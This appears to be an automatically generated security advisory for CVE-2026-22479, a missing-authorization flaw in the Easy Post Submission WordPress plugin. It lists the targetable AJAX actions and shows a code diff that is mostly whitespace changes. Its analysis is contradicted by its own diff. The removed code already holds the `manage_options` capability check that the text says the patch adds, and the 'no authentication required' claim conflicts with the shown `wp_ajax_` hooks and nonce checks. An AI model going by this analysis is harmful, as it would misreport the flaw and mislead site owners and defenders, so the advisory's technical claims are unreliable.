Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22479: Easy Post Submission – Frontend Posting, Guest Publishing & Submit Content for WordPress <= 2.2.0 – Missing Authorization (easy-post-submission)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.2.0
Patched Version 2.3.0
Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22479:
The vulnerability exists in the Easy Post Submission WordPress plugin version 2.2.0 and earlier. The root cause is a missing capability check in the `validate_permission()` method within the `Easy_Post_Submission_Admin_Ajax_Handler` class. This method should verify user permissions before executing privileged AJAX actions but fails to do so. The vulnerable code is located in `/easy-post-submission/admin/ajax-handler.php`.

The exploitation method targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. Attackers can send POST requests with the `action` parameter set to any of the plugin’s AJAX handlers: `rbsm_setup`, `rbsm_submit_form`, `rbsm_get_forms`, `rbsm_update_form`, `rbsm_delete_form`, `rbsm_get_authors`, `rbsm_admin_get_categories`, `rbsm_admin_get_tags`, `rbsm_restore_data`, `rbsm_get_post_manager`, or `rbsm_update_post_manager`. No authentication is required, and the vulnerable `validate_permission()` method at line 148 does not enforce the `manage_options` capability check for unauthenticated users.

The patch adds a proper capability check. In the patched version, the `validate_permission()` method now includes `if (!current_user_can(‘manage_options’))` at line 148, which terminates execution for unauthorized users. The fix ensures only administrators can access these AJAX endpoints. The diff shows indentation changes from spaces to tabs, but the security fix is the addition of the capability check.

If exploited, this vulnerability allows unauthenticated attackers to perform administrative actions. Attackers can create and delete submission forms, modify post manager settings, retrieve sensitive data including authors and categories, and execute the setup wizard. This could lead to unauthorized content submission, site configuration changes, and data exposure.

Differential between vulnerable and patched code

Code Diff
--- a/easy-post-submission/admin/admin-menu.php
+++ b/easy-post-submission/admin/admin-menu.php
@@ -11,192 +11,192 @@
  * plugin settings and notifications.
  */
 if ( ! class_exists( 'Easy_Post_Submission_Menu', false ) ) {
-    class Easy_Post_Submission_Menu {
-        private static $instance;
+	class Easy_Post_Submission_Menu {
+		private static $instance;

-        /**
-         * Gets the instance of the Easy_Post_Submission_Menu class.
-         *
-         * @return Easy_Post_Submission_Menu Instance of Easy_Post_Submission_Menu.
-         */
-        public static function get_instance() {
-            if ( self::$instance === null ) {
-                self::$instance = new self();
-            }
-
-            return self::$instance;
-        }
-
-        /**
-         * Easy_Post_Submission_Menu constructor.
-         *
-         * Registers necessary actions and filters to set up the admin menu and settings.
-         */
-        private function __construct() {
-
-            self::$instance = $this;
-
-            add_filter( 'display_post_states', [ $this, 'post_state' ], 10, 2 );
-            add_action( 'admin_menu', [ $this, 'register_page_panel' ], 2900 );
-            add_filter( 'ruby_dashboard_menu', [ $this, 'dashboard_menu' ], 10, 1 );
-            add_filter( 'plugin_action_links', [ $this, 'add_plugin_setting_link' ], 10, 2 );
-        }
-
-        /**
-         * Registers the Easy Post Submission plugin page in the WordPress admin menu.
-         *
-         * This method checks if the 'foxiz-core' plugin is active and adds the plugin's menu accordingly.
-         * It also hooks into the page load to load necessary assets.
-         */
-        public function register_page_panel() {
-            if ( is_plugin_active( 'foxiz-core/foxiz-core.php' ) ) {
-                $panel_hook_suffix = add_submenu_page(
-                    'foxiz-admin',
-                    esc_html__( 'Easy Submission', 'easy-post-submission' ),
-                    esc_html__( 'Easy Submission', 'easy-post-submission' ),
-                    'manage_options',
-                    'easy-post-submission',
-                    [ $this, 'easy_post_submission_render_menu_page' ],
-                    100
-                );
-            } else {
-                $panel_hook_suffix = add_menu_page(
-                    esc_html__( 'Easy Post Submission', 'easy-post-submission' ),
-                    esc_html__( 'Easy Submission', 'easy-post-submission' ),
-                    'manage_options',
-                    'easy-post-submission',
-                    [ $this, 'easy_post_submission_render_menu_page' ],
-                    'data:image/svg+xml;base64,' . $this->get_plugin_icon(),
-                    100
-                );
-            }
-
-            /** load script & css */
-            add_action( 'load-' . $panel_hook_suffix, [ $this, 'load_assets' ] );
-        }
-
-        /**
-         * Adds a custom post state label 'Via EPS' in the admin post list
-         * if the post has a non-empty 'rbsm_form_id' meta value.
-         *
-         * This helps identify posts that were submitted through the Easy Post Submission (EPS) system.
-         *
-         * @param array $post_states An array of post state labels.
-         * @param WP_Post $post The current post object.
-         *
-         * @return array Modified array of post state labels.
-         */
-        function post_state( $post_states, $post ) {
-
-            $form_submission_id = get_post_meta( $post->ID, 'rbsm_form_id', true );
-
-            if ( ! empty( $form_submission_id ) ) {
-                $post_states['eps'] = esc_html__( 'via EPS', 'easy-post-submission' );
-            }
-
-            return $post_states;
-        }
-
-        /**
-         * Loads assets (CSS/JS) for the Easy Post Submission admin page.
-         */
-        public function load_assets() {
-            add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue' ] );
-        }
-
-        /**
-         * Adds a settings link to the plugin action links in the WordPress plugins list.
-         *
-         * @param array $links Existing plugin action links.
-         * @param string $file The plugin file path.
-         *
-         * @return array Modified plugin action links.
-         */
-        function add_plugin_setting_link( $links, $file ) {
-            if ( $file === EASY_POST_SUBMISSION_REL_PATH . '/easy-post-submission.php' && current_user_can( 'manage_options' ) ) {
-                $links[] = '<a href="admin.php?page=easy-post-submission">' . esc_html__( 'Settings', 'easy-post-submission' ) . '</a>';
-            }
-
-            return $links;
-        }
-
-        /**
-         * Enqueues the necessary admin scripts and styles for the Easy Post Submission plugin.
-         * @return void
-         */
-        public function admin_enqueue() {
-            wp_register_style( 'rbsm-admin-vendor-style', EASY_POST_SUBMISSION_URL . 'assets/vendor/style.min.css', [], EASY_POST_SUBMISSION_VERSION );
-            wp_register_script( 'rbsm-admin-vendor', EASY_POST_SUBMISSION_URL . 'assets/vendor/bundle.js', [], EASY_POST_SUBMISSION_VERSION, true );
-            wp_register_script(
-                'rbsm-admin',
-                EASY_POST_SUBMISSION_URL . 'assets/admin/bundle.js',
-                [ 'rbsm-admin-vendor' ],
-                EASY_POST_SUBMISSION_VERSION,
-                true
-            );
-
-            wp_localize_script(
-                'rbsm-admin',
-                'rbAjax',
-                [
-                    'ajaxUrl'   => admin_url( 'admin-ajax.php' ),
-                    'yesSetup'  => get_option( 'easy_post_submission_setup_flag', get_option( '_easy_post_submission_setup_flag' ) ),
-                    'nonce'     => wp_create_nonce( 'easy-post-submission' ),
-                    'translate' => easy_post_submission_admin_description_strings(),
-                    'isRTL'     => is_rtl(),
-                ]
-            );
-
-            wp_enqueue_media();
-            wp_enqueue_style( 'rbsm-admin-style', EASY_POST_SUBMISSION_URL . 'assets/admin/style.min.css', [ 'rbsm-admin-vendor-style' ], EASY_POST_SUBMISSION_VERSION );
-            wp_enqueue_script( 'rbsm-admin' );
-        }
-
-        /**
-         * Modifies the dashboard menu to add a link to the Easy Post Submission plugin.
-         *
-         * @param array $menu Existing dashboard menu items.
-         *
-         * @return array Modified menu with Easy Post Submission link.
-         */
-        public function dashboard_menu( $menu ) {
-            if ( isset( $menu['more'] ) ) {
-                $menu['more']['sub_items']['rbsm'] = [
-                    'title' => esc_html__( 'Easy Post Submission', 'easy-post-submission' ),
-                    'icon'  => 'rbi-dash rbi-dash-writing',
-                    'url'   => admin_url( 'admin.php?page=easy-post-submission' ),
-                ];
-            }
-
-            return $menu;
-        }
-
-        /**
-         * Returns the plugin's SVG icon.
-         *
-         * @return string Base64 encoded SVG icon.
-         */
-        function get_plugin_icon() {
-            return 'PHN2ZyB2aWV3Qm94PSIwIDAgNTEyIDUxMiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiBmaWxsPSIjZjBmNmZjOTkiPjxwYXRoIGQ9Ik00MjEuMDczIDIyMS43MTljLTAuNTc4IDExLjcxOS05LjQ2OSAyNi4xODgtMjMuNzk3IDQwLjA5NHYxODMuMjVjLTAuMDE2IDQuNzE5LTEuODc1IDguNzE5LTUuMDE2IDExLjg0NC0zLjE1NiAzLjA2My03LjI1IDQuODc1LTEyLjA2MyA0LjkwNkg4MS41NThjLTQuNzgxLTAuMDMxLTguODkxLTEuODQ0LTEyLjA0Ny00LjkwNi0zLjE0MS0zLjEyNS00Ljk4NC03LjEyNS01LTExLjg0NFYxNTIuMjE5YzAuMDE2LTQuNzAzIDEuODU5LTguNzE5IDUtMTEuODQ0IDMuMTU2LTMuMDYzIDcuMjY2LTQuODc1IDEyLjA0Ny00LjkwNmgxNTguNjA5YzEyLjgyOC0xNi44NDQgMjcuNzgxLTM0LjA5NCA0NC43MTktNDkuOTA2SDgxLjU1OGMtMTguNzUtMC4wMTYtMzUuOTg0IDcuNTMxLTQ4LjI1IDE5LjU5NC0xMi4zMjggMTIuMDYzLTIwLjAxNiAyOC45MzgtMjAgNDcuMzQ0djI5Mi44NDRjLTAuMDE2IDE4LjQwNiA3LjY3MiAzNS4zMTMgMjAgNDcuMzQ0QzQ1LjU3MyA1MDQuNDY5IDYyLjgwOCA1MTIgODEuNTU4IDUxMmgyOTguNjQxYzE4Ljc4MSAwIDM2LjAxNi03LjUzMSA0OC4yODEtMTkuNTk0IDEyLjI5Ny0xMi4wMzEgMjAtMjguOTM4IDE5Ljk4NC00Ny4zNDRWMjAzLjQ2OWMwIDAtMC4xMjUtMC4xNTYtMC4zMjgtMC4zMTNDNDQwLjM3IDIwOS44MTMgNDMxLjMyMyAyMTYuMTU2IDQyMS4wNzMgMjIxLjcxOXoiPjwvcGF0aD48cGF0aCBkPSJNNDk4LjA1OCAwYzAgMC0xNS42ODggMjMuNDM4LTExOC4xNTYgNTguMTA5QzI3NS40MTcgOTMuNDY5IDIxMS4xMDQgMjM3LjMxMyAyMTEuMTA0IDIzNy4zMTNjLTE1LjQ4NCAyOS40NjktNzYuNjg4IDE1MS45MDYtNzYuNjg4IDE1MS45MDYtMTYuODU5IDMxLjYyNSAxNC4wMzEgNTAuMzEzIDMyLjE1NiAxNy42NTYgMzQuNzM0LTYyLjY4OCA1Ny4xNTYtMTE5Ljk2OSAxMDkuOTY5LTEyMS41OTQgNzcuMDQ3LTIuMzc1IDEyOS43MzQtNjkuNjU2IDExMy4xNTYtNjYuNTMxLTIxLjgxMyA5LjUtNjkuOTA2IDAuNzE5LTQxLjU3OC0zLjY1NiA2OC01LjQ1MyAxMDkuOTA2LTU2LjU2MyA5Ni4yNS02MC4wMzEtMjQuMTA5IDkuMjgxLTQ2LjU5NCAwLjQ2OS01MS0yLjE4OEM1MTMuMzg2IDEzOC4yODEgNDk4LjA1OCAwIDQ5OC4wNTggMHoiPjwvcGF0aD48L3N2Zz4=';
-        }
-
-        /**
-         * Renders the menu page for the Easy Post Submission plugin.
-         *
-         * This method is responsible for rendering the settings page of the Easy Post Submission plugin in the WordPress admin
-         * dashboard. It checks if the 'RB_ADMIN_CORE' class exists and includes its header template if so. It then includes
-         * the 'dashboard-template.php' file for rendering the main content of the menu page.
-         *
-         * @return void
-         */
-        public static function easy_post_submission_render_menu_page() {
-            if ( class_exists( 'RB_ADMIN_CORE' ) ) {
-                RB_ADMIN_CORE::get_instance()->header_template();
-            }
-
-            include( EASY_POST_SUBMISSION_PATH . 'admin/dashboard-template.php' );
-        }
-    }
+		/**
+		 * Gets the instance of the Easy_Post_Submission_Menu class.
+		 *
+		 * @return Easy_Post_Submission_Menu Instance of Easy_Post_Submission_Menu.
+		 */
+		public static function get_instance() {
+			if ( self::$instance === null ) {
+				self::$instance = new self();
+			}
+
+			return self::$instance;
+		}
+
+		/**
+		 * Easy_Post_Submission_Menu constructor.
+		 *
+		 * Registers necessary actions and filters to set up the admin menu and settings.
+		 */
+		private function __construct() {
+
+			self::$instance = $this;
+
+			add_filter( 'display_post_states', [ $this, 'post_state' ], 10, 2 );
+			add_action( 'admin_menu', [ $this, 'register_page_panel' ], 2900 );
+			add_filter( 'ruby_dashboard_menu', [ $this, 'dashboard_menu' ], 10, 1 );
+			add_filter( 'plugin_action_links', [ $this, 'add_plugin_setting_link' ], 10, 2 );
+		}
+
+		/**
+		 * Registers the Easy Post Submission plugin page in the WordPress admin menu.
+		 *
+		 * This method checks if the 'foxiz-core' plugin is active and adds the plugin's menu accordingly.
+		 * It also hooks into the page load to load necessary assets.
+		 */
+		public function register_page_panel() {
+			if ( is_plugin_active( 'foxiz-core/foxiz-core.php' ) ) {
+				$panel_hook_suffix = add_submenu_page(
+					'foxiz-admin',
+					esc_html__( 'Easy Submission', 'easy-post-submission' ),
+					esc_html__( 'Easy Submission', 'easy-post-submission' ),
+					'manage_options',
+					'easy-post-submission',
+					[ $this, 'easy_post_submission_render_menu_page' ],
+					100
+				);
+			} else {
+				$panel_hook_suffix = add_menu_page(
+					esc_html__( 'Easy Post Submission', 'easy-post-submission' ),
+					esc_html__( 'Easy Submission', 'easy-post-submission' ),
+					'manage_options',
+					'easy-post-submission',
+					[ $this, 'easy_post_submission_render_menu_page' ],
+					'data:image/svg+xml;base64,' . $this->get_plugin_icon(),
+					100
+				);
+			}
+
+			/** load script & css */
+			add_action( 'load-' . $panel_hook_suffix, [ $this, 'load_assets' ] );
+		}
+
+		/**
+		 * Adds a custom post state label 'Via EPS' in the admin post list
+		 * if the post has a non-empty 'rbsm_form_id' meta value.
+		 *
+		 * This helps identify posts that were submitted through the Easy Post Submission (EPS) system.
+		 *
+		 * @param array $post_states An array of post state labels.
+		 * @param WP_Post $post The current post object.
+		 *
+		 * @return array Modified array of post state labels.
+		 */
+		function post_state( $post_states, $post ) {
+
+			$form_submission_id = get_post_meta( $post->ID, 'rbsm_form_id', true );
+
+			if ( ! empty( $form_submission_id ) ) {
+				$post_states['eps'] = esc_html__( 'via EPS', 'easy-post-submission' );
+			}
+
+			return $post_states;
+		}
+
+		/**
+		 * Loads assets (CSS/JS) for the Easy Post Submission admin page.
+		 */
+		public function load_assets() {
+			add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue' ] );
+		}
+
+		/**
+		 * Adds a settings link to the plugin action links in the WordPress plugins list.
+		 *
+		 * @param array $links Existing plugin action links.
+		 * @param string $file The plugin file path.
+		 *
+		 * @return array Modified plugin action links.
+		 */
+		function add_plugin_setting_link( $links, $file ) {
+			if ( $file === EASY_POST_SUBMISSION_REL_PATH . '/easy-post-submission.php' && current_user_can( 'manage_options' ) ) {
+				$links[] = '<a href="admin.php?page=easy-post-submission">' . esc_html__( 'Settings', 'easy-post-submission' ) . '</a>';
+			}
+
+			return $links;
+		}
+
+		/**
+		 * Enqueues the necessary admin scripts and styles for the Easy Post Submission plugin.
+		 * @return void
+		 */
+		public function admin_enqueue() {
+			wp_register_style( 'rbsm-admin-vendor-style', EASY_POST_SUBMISSION_URL . 'assets/vendor/style.min.css', [], EASY_POST_SUBMISSION_VERSION );
+			wp_register_script( 'rbsm-admin-vendor', EASY_POST_SUBMISSION_URL . 'assets/vendor/bundle.js', [], EASY_POST_SUBMISSION_VERSION, true );
+			wp_register_script(
+				'rbsm-admin',
+				EASY_POST_SUBMISSION_URL . 'assets/admin/bundle.js',
+				[ 'rbsm-admin-vendor' ],
+				EASY_POST_SUBMISSION_VERSION,
+				true
+			);
+
+			wp_localize_script(
+				'rbsm-admin',
+				'rbAjax',
+				[
+					'ajaxUrl'   => admin_url( 'admin-ajax.php' ),
+					'yesSetup'  => get_option( 'easy_post_submission_setup_flag', get_option( '_easy_post_submission_setup_flag' ) ),
+					'nonce'     => wp_create_nonce( 'easy-post-submission' ),
+					'translate' => easy_post_submission_admin_description_strings(),
+					'isRTL'     => is_rtl(),
+				]
+			);
+
+			wp_enqueue_media();
+			wp_enqueue_style( 'rbsm-admin-style', EASY_POST_SUBMISSION_URL . 'assets/admin/style.min.css', [ 'rbsm-admin-vendor-style' ], EASY_POST_SUBMISSION_VERSION );
+			wp_enqueue_script( 'rbsm-admin' );
+		}
+
+		/**
+		 * Modifies the dashboard menu to add a link to the Easy Post Submission plugin.
+		 *
+		 * @param array $menu Existing dashboard menu items.
+		 *
+		 * @return array Modified menu with Easy Post Submission link.
+		 */
+		public function dashboard_menu( $menu ) {
+			if ( isset( $menu['more'] ) ) {
+				$menu['more']['sub_items']['rbsm'] = [
+					'title' => esc_html__( 'Easy Post Submission', 'easy-post-submission' ),
+					'icon'  => 'rbi-dash rbi-dash-writing',
+					'url'   => admin_url( 'admin.php?page=easy-post-submission' ),
+				];
+			}
+
+			return $menu;
+		}
+
+		/**
+		 * Returns the plugin's SVG icon.
+		 *
+		 * @return string Base64 encoded SVG icon.
+		 */
+		function get_plugin_icon() {
+			return 'PHN2ZyB2aWV3Qm94PSIwIDAgNTEyIDUxMiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiBmaWxsPSIjZjBmNmZjOTkiPjxwYXRoIGQ9Ik00MjEuMDczIDIyMS43MTljLTAuNTc4IDExLjcxOS05LjQ2OSAyNi4xODgtMjMuNzk3IDQwLjA5NHYxODMuMjVjLTAuMDE2IDQuNzE5LTEuODc1IDguNzE5LTUuMDE2IDExLjg0NC0zLjE1NiAzLjA2My03LjI1IDQuODc1LTEyLjA2MyA0LjkwNkg4MS41NThjLTQuNzgxLTAuMDMxLTguODkxLTEuODQ0LTEyLjA0Ny00LjkwNi0zLjE0MS0zLjEyNS00Ljk4NC03LjEyNS01LTExLjg0NFYxNTIuMjE5YzAuMDE2LTQuNzAzIDEuODU5LTguNzE5IDUtMTEuODQ0IDMuMTU2LTMuMDYzIDcuMjY2LTQuODc1IDEyLjA0Ny00LjkwNmgxNTguNjA5YzEyLjgyOC0xNi44NDQgMjcuNzgxLTM0LjA5NCA0NC43MTktNDkuOTA2SDgxLjU1OGMtMTguNzUtMC4wMTYtMzUuOTg0IDcuNTMxLTQ4LjI1IDE5LjU5NC0xMi4zMjggMTIuMDYzLTIwLjAxNiAyOC45MzgtMjAgNDcuMzQ0djI5Mi44NDRjLTAuMDE2IDE4LjQwNiA3LjY3MiAzNS4zMTMgMjAgNDcuMzQ0QzQ1LjU3MyA1MDQuNDY5IDYyLjgwOCA1MTIgODEuNTU4IDUxMmgyOTguNjQxYzE4Ljc4MSAwIDM2LjAxNi03LjUzMSA0OC4yODEtMTkuNTk0IDEyLjI5Ny0xMi4wMzEgMjAtMjguOTM4IDE5Ljk4NC00Ny4zNDRWMjAzLjQ2OWMwIDAtMC4xMjUtMC4xNTYtMC4zMjgtMC4zMTNDNDQwLjM3IDIwOS44MTMgNDMxLjMyMyAyMTYuMTU2IDQyMS4wNzMgMjIxLjcxOXoiPjwvcGF0aD48cGF0aCBkPSJNNDk4LjA1OCAwYzAgMC0xNS42ODggMjMuNDM4LTExOC4xNTYgNTguMTA5QzI3NS40MTcgOTMuNDY5IDIxMS4xMDQgMjM3LjMxMyAyMTEuMTA0IDIzNy4zMTNjLTE1LjQ4NCAyOS40NjktNzYuNjg4IDE1MS45MDYtNzYuNjg4IDE1MS45MDYtMTYuODU5IDMxLjYyNSAxNC4wMzEgNTAuMzEzIDMyLjE1NiAxNy42NTYgMzQuNzM0LTYyLjY4OCA1Ny4xNTYtMTE5Ljk2OSAxMDkuOTY5LTEyMS41OTQgNzcuMDQ3LTIuMzc1IDEyOS43MzQtNjkuNjU2IDExMy4xNTYtNjYuNTMxLTIxLjgxMyA5LjUtNjkuOTA2IDAuNzE5LTQxLjU3OC0zLjY1NiA2OC01LjQ1MyAxMDkuOTA2LTU2LjU2MyA5Ni4yNS02MC4wMzEtMjQuMTA5IDkuMjgxLTQ2LjU5NCAwLjQ2OS01MS0yLjE4OEM1MTMuMzg2IDEzOC4yODEgNDk4LjA1OCAwIDQ5OC4wNTggMHoiPjwvcGF0aD48L3N2Zz4=';
+		}
+
+		/**
+		 * Renders the menu page for the Easy Post Submission plugin.
+		 *
+		 * This method is responsible for rendering the settings page of the Easy Post Submission plugin in the WordPress admin
+		 * dashboard. It checks if the 'RB_ADMIN_CORE' class exists and includes its header template if so. It then includes
+		 * the 'dashboard-template.php' file for rendering the main content of the menu page.
+		 *
+		 * @return void
+		 */
+		public static function easy_post_submission_render_menu_page() {
+			if ( class_exists( 'RB_ADMIN_CORE' ) ) {
+				RB_ADMIN_CORE::get_instance()->header_template();
+			}
+
+			include EASY_POST_SUBMISSION_PATH . 'admin/dashboard-template.php';
+		}
+	}
 }

 /** Init load */
--- a/easy-post-submission/admin/ajax-handler.php
+++ b/easy-post-submission/admin/ajax-handler.php
@@ -4,1482 +4,1506 @@
 defined( 'ABSPATH' ) || exit;

 if ( ! class_exists( 'Easy_Post_Submission_Admin_Ajax_Handler', false ) ) {
-    /**
-     * Class Easy_Post_Submission_Admin_Ajax_Handler
-     *
-     * This class handles various AJAX requests for the Easy Post Submission plugin.
-     * It processes setup wizard steps, form submission, category and tag retrieval,
-     * post manager updates, and more through WordPress AJAX actions.
-     */
-    class Easy_Post_Submission_Admin_Ajax_Handler {
-        private static $instance;
-        private static $manager_key = 'easy_post_submission_post_manager_settings';
-        private static $nonce = 'easy-post-submission';
-
-        /**
-         * Get the instance of the Easy_Post_Submission_Admin_Ajax_Handler class.
-         *
-         * This method implements the Singleton design pattern to ensure there is only one instance
-         * of the Easy_Post_Submission_Admin_Ajax_Handler class.
-         *
-         * @return Easy_Post_Submission_Admin_Ajax_Handler
-         */
-        public static function get_instance() {
-
-            if ( self::$instance === null ) {
-                self::$instance = new self();
-            }
-
-            return self::$instance;
-        }
-
-        /**
-         * Easy_Post_Submission_Admin_Ajax_Handler constructor.
-         *
-         * This constructor hooks the necessary AJAX actions to their respective handler methods.
-         * These actions are triggered for various functionalities like form submission, page setup, etc.
-         */
-        public function __construct() {
-
-            self::$instance = $this;
-
-            add_action( 'wp_ajax_rbsm_setup', [ $this, 'setup_wizard' ] );
-            add_action( 'wp_ajax_rbsm_submit_form', [ $this, 'submit_form' ] );
-            add_action( 'wp_ajax_rbsm_get_forms', [ $this, 'get_forms' ] );
-            add_action( 'wp_ajax_rbsm_update_form', [ $this, 'update_form' ] );
-            add_action( 'wp_ajax_rbsm_delete_form', [ $this, 'delete_form' ] );
-            add_action( 'wp_ajax_rbsm_get_authors', [ $this, 'get_authors' ] );
-            add_action( 'wp_ajax_rbsm_admin_get_categories', [ $this, 'admin_get_categories' ] );
-            add_action( 'wp_ajax_rbsm_admin_get_tags', [ $this, 'admin_get_tags' ] );
-            add_action( 'wp_ajax_rbsm_restore_data', [ $this, 'restore_data' ] );
-            add_action( 'wp_ajax_rbsm_get_post_manager', [ $this, 'get_post_manager' ] );
-            add_action( 'wp_ajax_rbsm_update_post_manager', [ $this, 'update_post_manager' ] );
-        }
-
-        /**
-         * Sanitizes Value
-         *
-         * @param type $value
-         * @param type $sanitize_type
-         *
-         * @return string
-         *
-         * @since 1.0.0
-         */
-        private function sanitize_value( $value = '', $sanitize_type = 'text' ) {
-            switch ( $sanitize_type ) {
-                case 'html':
-                    return wp_kses_post( $value );
-                    break;
-                default:
-                    return sanitize_text_field( $value );
-                    break;
-            }
-        }
-
-        /**
-         * Sanitize values in a multidimensional array.
-         *
-         * @param array $array
-         * @param array $sanitize_rule
-         *
-         * @return array
-         *
-         * @since 1.0.0
-         */
-        private function sanitize_array( $array = [], $sanitize_rule = [] ) {
-            if ( ! is_array( $array ) || count( $array ) == 0 ) {
-                return array();
-            }
-
-            foreach ( $array as $key => $value ) {
-                if ( ! is_array( $value ) ) {
-                    $sanitize_type = isset( $sanitize_rule[ $key ] ) ? $sanitize_rule[ $key ] : 'text';
-                    $array[ $key ] = $this->sanitize_value( $value, $sanitize_type );
-                }
-
-                if ( is_array( $value ) ) {
-                    $array[ $key ] = $this->sanitize_array( $value, $sanitize_rule );
-                }
-            }
-
-            return $array;
-        }
-
-        /**
-         * Validate the user permissions before executing AJAX actions.
-         *
-         * This method verify the request's authenticity and ensures the user
-         * has the required permissions to perform the action.
-         *
-         * @return void
-         */
-        public function validate_permission() {
-
-            if ( ! current_user_can( 'manage_options' ) ) {
-                wp_send_json_error( esc_html__( 'You are not allowed to access this feature.', 'easy-post-submission' ) );
-                wp_die();
-            }
-        }
-
-        /**
-         * Handles the setup wizard for the Easy Post Submission plugin.
-         *
-         * This method processes the setup wizard steps, including form creation, and generating
-         * submit, profile, and edit pages. It also returns the results of the setup process.
-         *
-         * @return void
-         */
-        public function setup_wizard() {
-
-            $nonce = ( isset( $_POST['_nonce'] ) ) ? sanitize_key( $_POST['_nonce'] ) : '';
-            if ( empty( $nonce ) || false === wp_verify_nonce( $nonce, self::$nonce ) ) {
-                wp_send_json_error( esc_html__( 'Invalid nonce.', 'easy-post-submission' ) );
-                wp_die();
-            }
-
-            $this->validate_permission();
-
-            $create_form          = isset( $_POST['createForm'] ) && 'true' === $_POST['createForm'];
-            $create_submit_page   = isset( $_POST['createSubmitPage'] ) && 'true' === $_POST['createSubmitPage'];
-            $create_profile_page  = isset( $_POST['createProfilePage'] ) && 'true' === $_POST['createProfilePage'];
-            $create_edit_page     = isset( $_POST['createEditPage'] ) && 'true' === $_POST['createEditPage'];
-            $create_login_page    = isset( $_POST['createLoginPage'] ) && 'true' === $_POST['createLoginPage'];
-            $create_register_page = isset( $_POST['createRegisterPage'] ) && 'true' === $_POST['createRegisterPage'];
-
-            $submit_page_result   = true;
-            $profile_page_result  = true;
-            $login_page_result    = true;
-            $register_page_result = true;
-            $edit_page_result     = true;
-            $form_id              = 1;
-
-            if ( $create_form ) {
-                $form_id = $this->create_form( wp_generate_password( 8, false ), wp_json_encode( $this->get_default_form() ) );
-            }
-
-            if ( $create_submit_page ) {
-                $submit_page        = array(
-                    'post_title'   => esc_html__( 'Submit a Post', 'easy-post-submission' ),
-                    'post_content' => '<!-- wp:shortcode -->[easy_post_submission_form id=' . $form_id . ']<!-- /wp:shortcode -->',
-                    'post_status'  => 'publish',
-                    'post_type'    => 'page',
-                );
-                $submit_page_result = wp_insert_post( $submit_page );
-            }
-
-            if ( $create_profile_page ) {
-                $profile_page        = array(
-                    'post_title'   => esc_html__( 'Review and Manage Your Posts', 'easy-post-submission' ),
-                    'post_content' => '<!-- wp:shortcode -->[easy_post_submission_manager]<!-- /wp:shortcode -->',
-                    'post_status'  => 'publish',
-                    'post_type'    => 'page',
-                );
-                $profile_page_result = wp_insert_post( $profile_page );
-            }
-
-            if ( $create_edit_page ) {
-                $edit_page = array(
-                    'post_title'   => esc_html__( 'Edit Your Submission', 'easy-post-submission' ),
-                    'post_content' => '<!-- wp:shortcode -->[easy_post_submission_edit]<!-- /wp:shortcode -->',
-                    'post_status'  => 'publish',
-                    'post_type'    => 'page',
-                );
-
-                $edit_page_result = wp_insert_post( $edit_page );
-            }
-
-            if ( $create_login_page ) {
-                $login_page        = array(
-                    'post_title'   => esc_html__( 'Login', 'easy-post-submission' ),
-                    'post_content' => '<!-- wp:shortcode -->[easy_post_submission_login]<!-- /wp:shortcode -->',
-                    'post_status'  => 'publish',
-                    'post_type'    => 'page',
-                );
-                $login_page_result = wp_insert_post( $login_page );
-            }
-
-            if ( $create_register_page ) {
-                $register_page        = array(
-                    'post_title'   => esc_html__( 'Register', 'easy-post-submission' ),
-                    'post_content' => '<!-- wp:shortcode -->[easy_post_submission_register]<!-- /wp:shortcode -->',
-                    'post_status'  => 'publish',
-                    'post_type'    => 'page',
-                );
-                $register_page_result = wp_insert_post( $register_page );
-            }
-
-            // Update manager settings with profile, edit, login, and register page URLs if created
-            if ( $create_profile_page || $create_edit_page || $create_login_page || $create_register_page ) {
-                $manager_settings = get_option( self::$manager_key, [] );
-
-                // Update post manager page URL
-                if ( $create_profile_page && ! empty( $profile_page_result ) && ! is_wp_error( $profile_page_result ) ) {
-                    if ( ! isset( $manager_settings['user_profile'] ) ) {
-                        $manager_settings['user_profile'] = [];
-                    }
-                    $manager_settings['user_profile']['post_manager_page_url'] = get_permalink( $profile_page_result );
-                }
-
-                // Update edit page URL
-                if ( $create_edit_page && ! empty( $edit_page_result ) && ! is_wp_error( $edit_page_result ) ) {
-                    if ( ! isset( $manager_settings['edit_post_form'] ) ) {
-                        $manager_settings['edit_post_form'] = [];
-                    }
-                    $manager_settings['edit_post_form']['edit_post_url'] = get_permalink( $edit_page_result );
-                }
-
-                // Update login and register page URLs
-                if ( $create_login_page || $create_register_page ) {
-                    if ( ! isset( $manager_settings['custom_login_and_registration'] ) ) {
-                        $manager_settings['custom_login_and_registration'] = [
-                            'custom_login_button_label'        => 'Login',
-                            'custom_login_link'                => '',
-                            'custom_registration_button_label' => 'Register',
-                            'custom_registration_link'         => '',
-                        ];
-                    }
-
-                    if ( $create_login_page && ! empty( $login_page_result ) && ! is_wp_error( $login_page_result ) ) {
-                        $manager_settings['custom_login_and_registration']['custom_login_link'] = get_permalink( $login_page_result );
-                    }
-
-                    if ( $create_register_page && ! empty( $register_page_result ) && ! is_wp_error( $register_page_result ) ) {
-                        $manager_settings['custom_login_and_registration']['custom_registration_link'] = get_permalink( $register_page_result );
-                    }
-                }
-
-                update_option( self::$manager_key, $manager_settings );
-            }
-
-            update_option( 'easy_post_submission_setup_flag', 1 );
-
-            if ( ! is_wp_error( $submit_page_result ) && ! is_wp_error( $profile_page_result ) && ! is_wp_error( $edit_page_result ) && ! is_wp_error( $login_page_result ) && ! is_wp_error( $register_page_result ) ) {
-                wp_send_json_success();
-            } else {
-                wp_send_json_error( esc_html__( 'Could not create the pages', 'easy-post-submission' ) );
-            }
-
-            wp_die();
-        }
-
-        /**
-         * Save the new form into the database.
-         *
-         * This function validates the user's permission, checks if the necessary data is provided,
-         * and then processes the form data to save it into the database. If no data is received,
-         * an error is returned in JSON format.
-         *
-         * @return void This function does not return a value, but will send a JSON response on success or failure.
-         * @throws WP_Error If the user does not have permission or if there is an error in processing the data.
-         *
-         * @since 1.0.0
-         *
-         */
-        public function submit_form() {
-
-            $nonce = ( isset( $_POST['_nonce'] ) ) ? sanitize_key( $_POST['_nonce'] ) : '';
